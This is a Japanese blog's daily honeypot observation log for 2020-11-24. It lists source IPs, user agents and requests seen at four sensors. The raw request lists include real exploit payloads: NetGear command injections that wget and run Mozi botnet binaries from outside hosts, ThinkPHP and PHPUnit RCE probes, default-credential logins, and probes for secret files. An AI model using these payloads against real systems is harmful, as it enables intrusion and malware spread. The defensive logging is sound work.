コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2020/11/24 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2020/11/24分です。

特徴
Location:JP

GPONルータの脆弱性(CVE-2018-10561)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnit脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Project25499 Scannerによるスキャン行為
zgrabによるスキャン行為
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
WordPress Pluginへのスキャン行為
UserAgentがHello, Worldであるアクセス
を確認しました。

Location:US

DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnit脆弱性(CVE-2017-9841)を狙うアクセス
Shenzhen TVT製品の脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
ApiToolによるスキャン行為
Project25499 Scannerによるスキャン行為
XTCによるスキャン行為
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
WordPress Pluginへのスキャン行為
UserAgentがHello, Worldであるアクセス
を確認しました。

Location:UK

GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnit脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Project25499 Scannerによるスキャン行為
zgrabによるスキャン行為
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
WordPress Pluginへのスキャン行為
UserAgentがHello, Worldであるアクセス
を確認しました。

Location:SG

GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnit脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Project25499 Scannerによるスキャン行為
zgrabによるスキャン行為
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
WordPress Pluginへのスキャン行為
を確認しました。

アクセス数推移

JP:総アクセス数:158 (前日比:+111)
US:総アクセス数:56 (前日比:+14)
UK:総アクセス数:136 (前日比:+93)
SG:総アクセス数:63 (前日比:+21)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス
1 2.57.122.186 Romania
1 3.10.154.220 United States
1 36.78.78.204 Indonesia
1 40.66.46.107 United States
10 43.254.151.94 China
10 49.235.237.233 China
1 52.36.30.61 United States
1 69.162.99.42 United States
9 91.241.19.84 Russia
1 96.126.109.146 United States
1 115.53.245.84 China
101 123.54.49.175 China
2 134.209.211.198 United States
2 134.209.217.171 United States
2 140.249.215.102 China
1 162.243.128.4 United States
1 182.59.222.201 India
8 185.234.216.38 Poland
1 192.210.170.111 United States
1 192.241.234.16 United States
2 193.174.89.19 Germany

UserAgent一覧

件数 UserAgent
4 -
2 Go-http-client/1.1
1 Hello, World
2 Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
101 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
9 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
18 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
4 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
2 Mozilla/5.0 zgrab/0.x
2 Project25499 Scanner (opt-out@project25499.com)
1 python-requests/2.24.0

リクエスト内容一覧

件数 Method Request Protocol
4 GET /.env HTTP/1.1
1 GET /.ftpconfig HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /.remote-sync.json HTTP/1.1
1 GET /.vscode/ftp-sync.json HTTP/1.1
1 GET /.vscode/sftp.json HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
2 GET /TP/html/public/index.php HTTP/1.1
2 GET /TP/index.php HTTP/1.1
2 GET /TP/public/index.php HTTP/1.1
1 GET /ab2g HTTP/1.1
1 GET /ab2h HTTP/1.1
1 GET /actuator/health HTTP/1.1
2 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /deployment-config.json HTTP/1.1
2 GET /elrekt.php HTTP/1.1
1 GET /ftpsync.settings HTTP/1.1
2 GET /html/public/index.php HTTP/1.1
2 GET /index.php HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
2 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 HTTP/1.1
1 GET /phpmyadmin HTTP/1.1
102 GET /phpmyadmin/ HTTP/1.1
1 GET /portal/redlion HTTP/1.1
2 GET /public/index.php HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//115[.]53[.]245[.]84:38265/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /sftp-config.json HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /stager32 HTTP/1.1
1 GET /stager64 HTTP/1.1
2 GET /thinkphp/html/public/index.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET /wp-includes/js/jquery/jquery.js HTTP/1.1
1 GET stager HTTP/1.1
1 GET stager64 HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /api/jsonws/invoke HTTP/1.1
2 POST /index.php?s=captcha HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス
3 2.57.122.186 Romania
1 23.129.64.193 United States
1 42.235.64.7 China
1 68.174.72.93 United States
1 69.162.99.42 United States
9 91.241.19.84 Russia
1 94.200.76.222 United Arab Emirates
1 96.126.109.146 United States
1 117.251.62.252 India
1 124.118.67.44 China
2 134.209.219.110 United States
3 163.172.161.118 United Kingdom
2 165.22.8.50 United States
1 178.141.61.177 Russia
1 182.117.189.205 China
1 182.126.90.228 China
1 182.245.57.127 China
2 188.131.231.108 China
1 192.241.221.28 United States
1 192.241.235.153 United States
1 192.241.237.125 United States
8 193.169.252.34 Poland
8 193.174.89.19 Germany
3 212.47.244.68 France
1 222.186.136.150 China

UserAgent一覧

件数 UserAgent
11 -
1 ApiTool
1 Go-http-client/1.1
1 Hello, World
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:65.0.1) Gecko/20100101 Firefox/65.0.1
9 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
2 Mozilla/5.0 (Windows NT 6.2; rv:65.0) Gecko/20100101 Firefox/65.0
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
8 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
3 Mozilla/5.0 zgrab/0.x
2 Project25499 Scanner (opt-out@project25499.com)
1 XTC

リクエスト内容一覧

件数 Method Request Protocol
1 CONNECT ip[.]ws[.]126[.]net:443 HTTP/1.1
2 CONNECT www[.]bing[.]com/:443 HTTP/1.1
1 GET /.env HTTP/1.1
1 GET /.ftpconfig HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /.remote-sync.json HTTP/1.1
1 GET /.vscode/ftp-sync.json HTTP/1.1
1 GET /.vscode/sftp.json HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /ab2g HTTP/1.1
1 GET /ab2h HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0
1 GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0
1 GET /boaform/admin/formLogin?username=user&psd=user HTTP/1.0
3 GET /config/getuser?index=0 HTTP/1.1
2 GET /connector.sds HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /deployment-config.json HTTP/1.1
1 GET /ftpsync.settings HTTP/1.1
2 GET /gui/status HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /phpmyadmin/index.php HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//172[.]45[.]27[.]37:43522/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//42[.]235[.]64[.]7:60538/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /sftp-config.json HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /stager32 HTTP/1.1
1 GET /stager64 HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
2 GET http[:]//www[.]bing[.]com/ HTTP/1.1
2 GET stager HTTP/1.1
2 GET stager64 HTTP/1.1
1 HEAD /1Kor HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /api/jsonws/invoke HTTP/1.1
1 POST /cgi-bin/mainfunction.cgi HTTP/1.1
1 POST /editBlackAndWhiteList HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST http[:]//grzej[.]xyz/cd7347f7e2cd08a96bf3b721bbdbd1137ce17d23bc2abb162d81ed63ddcf6c70c6d1ac5591d623e90c4ba496f59467d96cd77dbf6a2e41b0300fe5bf4fb030819a252d67dae26075ce11e29a5f1f726127195380ac29a614ab196bb318c6e630 HTTP/1.1
1 POST http[:]//ruthmori[.]best/54e5015820d5bdbb7c496f9ebbedb68c85d2a2716ecd665af661768489037034ba01cf91c24c6665bb8fd072a92dd22ff10c29e32e17a0ec46f234c9d560c8825bad91c2bd7a6f614882b48026ed175f68b6c5694fdfbda216d894a44bc0902b HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス
2 2.57.122.186 Romania
1 5.83.162.109 Germany
1 41.216.186.89 St Kitts and Nevis
1 42.237.6.137 China
1 64.31.8.10 United States
9 91.241.19.84 Russia
1 111.166.12.189 China
101 117.94.73.97 China
1 119.179.182.103 China
2 134.209.219.159 United States
2 165.22.8.55 United States
1 180.188.224.190 India
1 183.196.88.185 China
8 185.234.216.247 Poland
1 192.241.218.197 United States
1 192.241.236.167 United States
1 221.207.240.234 China
1 222.186.136.150 China

UserAgent一覧

件数 UserAgent
8 -
1 Go-http-client/1.1
2 Hello, World
101 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
9 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
2 Mozilla/5.0 zgrab/0.x
2 Project25499 Scanner (opt-out@project25499.com)

リクエスト内容一覧

件数 Method Request Protocol
1 \x03
1 CONNECT ip[.]ws[.]126[.]net:443 HTTP/1.1
1 GET /.ftpconfig HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /.remote-sync.json HTTP/1.1
1 GET /.vscode/ftp-sync.json HTTP/1.1
1 GET /.vscode/sftp.json HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /CFIDE/administrator/ HTTP/1.1
1 GET /ab2g HTTP/1.1
1 GET /ab2h HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /boaform/admin/formLogin?username=user&psd=user HTTP/1.0
2 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /deployment-config.json HTTP/1.1
1 GET /ftpsync.settings HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
101 GET /phpmyadmin/ HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//119[.]179[.]182[.]103:59627/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//221[.]207[.]240[.]234:34125/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//42[.]237[.]6[.]137:39055/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /sftp-config.json HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /stager32 HTTP/1.1
1 GET /stager64 HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
2 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /api/jsonws/invoke HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス
2 2.57.122.186 Romania
1 41.216.186.89 St Kitts and Nevis
1 69.162.99.42 United States
18 91.241.19.84 Russia
4 94.102.49.193 Netherlands
1 103.41.26.173 India
1 103.41.27.26 India
10 113.110.226.55 China
2 134.209.211.10 United States
2 134.209.219.91 United States
2 150.109.181.25 Singapore
1 162.243.128.32 United States
3 167.172.128.111 United States
8 185.234.216.247 Poland
1 190.128.154.222 Paraguay
1 192.241.219.133 United States
1 192.241.223.72 United States
3 193.174.89.19 Germany
1 222.125.188.144 China

UserAgent一覧

件数 UserAgent
13 -
1 Go-http-client/1.1
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
18 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
9 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
3 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
3 Mozilla/5.0 zgrab/0.x
2 Project25499 Scanner (opt-out@project25499.com)

リクエスト内容一覧

件数 Method Request Protocol
1 \x03
2 \x16\x03\x01
1 GET /.env HTTP/1.1
1 GET /.ftpconfig HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /.remote-sync.json HTTP/1.1
1 GET /.vscode/ftp-sync.json HTTP/1.1
1 GET /.vscode/sftp.json HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
2 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
2 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /TP/html/public/index.php HTTP/1.1
1 GET /TP/index.php HTTP/1.1
1 GET /TP/public/index.php HTTP/1.1
1 GET /ab2g HTTP/1.1
1 GET /ab2h HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0
1 GET /boaform/admin/formLogin?username=user&psd=user HTTP/1.0
2 GET /config/getuser?index=0 HTTP/1.1
2 GET /console/ HTTP/1.1
1 GET /deployment-config.json HTTP/1.1
1 GET /elrekt.php HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /ftpsync.settings HTTP/1.1
1 GET /gui/status HTTP/1.1
1 GET /html/public/index.php HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php HTTP/1.1
2 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 HTTP/1.1
1 GET /phpmyadmin/ HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /public/index.php HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /sftp-config.json HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
2 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /stager32 HTTP/1.1
1 GET /stager64 HTTP/1.1
1 GET /thinkphp/html/public/index.php HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET /xmlrpc.php?rsd HTTP/1.1
1 GET stager HTTP/1.1
1 GET stager64 HTTP/1.1
1 HEAD / HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
1 POST /HNAP1/ HTTP/1.0
2 POST /api/jsonws/invoke HTTP/1.1
1 POST /index.php?s=captcha HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1